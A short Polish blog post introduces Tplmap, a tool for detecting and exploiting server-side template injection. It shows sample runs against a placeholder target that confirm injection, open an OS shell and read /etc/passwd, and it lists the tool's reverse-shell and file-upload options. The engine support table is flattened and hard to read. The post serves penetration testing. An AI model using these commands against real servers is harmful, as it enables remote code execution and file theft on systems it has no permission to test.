Tplmap – zidentefikuj i wykorzystaj silnik szablonu

Tplmap

Gdy przeprowadzasz test penetracyjny strony internetowej, która generuje dynamiczne treści przy użyciu szablonów z wartościami podanymi przez użytkownika możesz natrafić na podatność typu Server-Side Template Injection. Ręczna identyfikacja silnika szablonu, z jaką masz do czynienia i późniejsza exploitacja może zostać w łatwy sposób zautomatyzowana przy pomocy narzędzia Tplmap.

Tplmap jest w stanie wykryć i wykorzystać SSTI w kilkunastu rodzajów silników szablonów. Posiada takie funkcjonalności jak przeglądanie systemu plików i zdalne wykonywanie poleceń na atakowanym serwerze.

$ ./tplmap.py -u 'http://www.target.com/page?name=John'
[+] Tplmap 0.5
    Automatic Server-Side Template Injection Detection and Exploitation Tool

[+] Testing if GET parameter 'name' is injectable
[+] Smarty plugin is testing rendering with tag '{*}'
[+] Smarty plugin is testing blind injection
[+] Mako plugin is testing rendering with tag '${*}'
...
[+] Jinja2 plugin is testing rendering with tag '{{*}}'
[+] Jinja2 plugin has confirmed injection with tag '{{*}}'
[+] Tplmap identified the following injection point:

  GET parameter: name
  Engine: Jinja2
  Injection: {{*}}
  Context: text
  OS: linux
  Technique: render
  Capabilities:

   Shell command execution: ok
   Bind and reverse shell: ok
   File write: ok
   File read: ok
   Code evaluation: ok, python code

[+] Rerun tplmap providing one of the following options:

    --os-shell                Run shell on the target
    --os-cmd                  Execute shell commands
    --bind-shell PORT         Connect to a shell bind to a target port
    --reverse-shell HOST PORT Send a shell back to the attacker's port
    --upload LOCAL REMOTE     Upload files to the server
    --download REMOTE LOCAL   Download remote files

Użyj opcji --os-shell , aby uruchomić pseudoterminal na celu.

$ ./tplmap.py --os-shell -u 'http://www.target.com/page?name=John'
[+] Tplmap 0.5
    Automatic Server-Side Template Injection Detection and Exploitation Tool

[+] Run commands on the operating system.

linux $ whoami
www
linux $ cat /etc/passwd
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/bin/sh
bin:x:2:2:bin:/bin:/bin/sh

Tplmap obsługuje ponad 15 silników szablonów:

SilnikZdalne wykonywanie poleceńBlindCode evaluationOdczyt plikuZapis do pliku
MakoPython
Jinja2Python
Python (code eval)Python
TornadoPython
NunjucksJavaScript
PugJavaScript
doTJavaScript
MarkoJavaScript
JavaScript (code eval)JavaScript
Dust (<= [email protected])JavaScript
EJSJavaScript
Ruby (code eval)Ruby
SlimRuby
ERBRuby
Smarty (unsecured)PHP
PHP (code eval)PHP
Twig (<=1.19)PHP
Freemarker×
Velocity×
Twig (>1.19)×××××
Smarty (secured)×××××
Dust (> [email protected])×××××

Tplmap można znaleźć na githubie twórcy – tplmap.

Tagi , , , , , , , , , , , .Dodaj do zakładek Link.

Podziel się swoją opinią na temat artykułu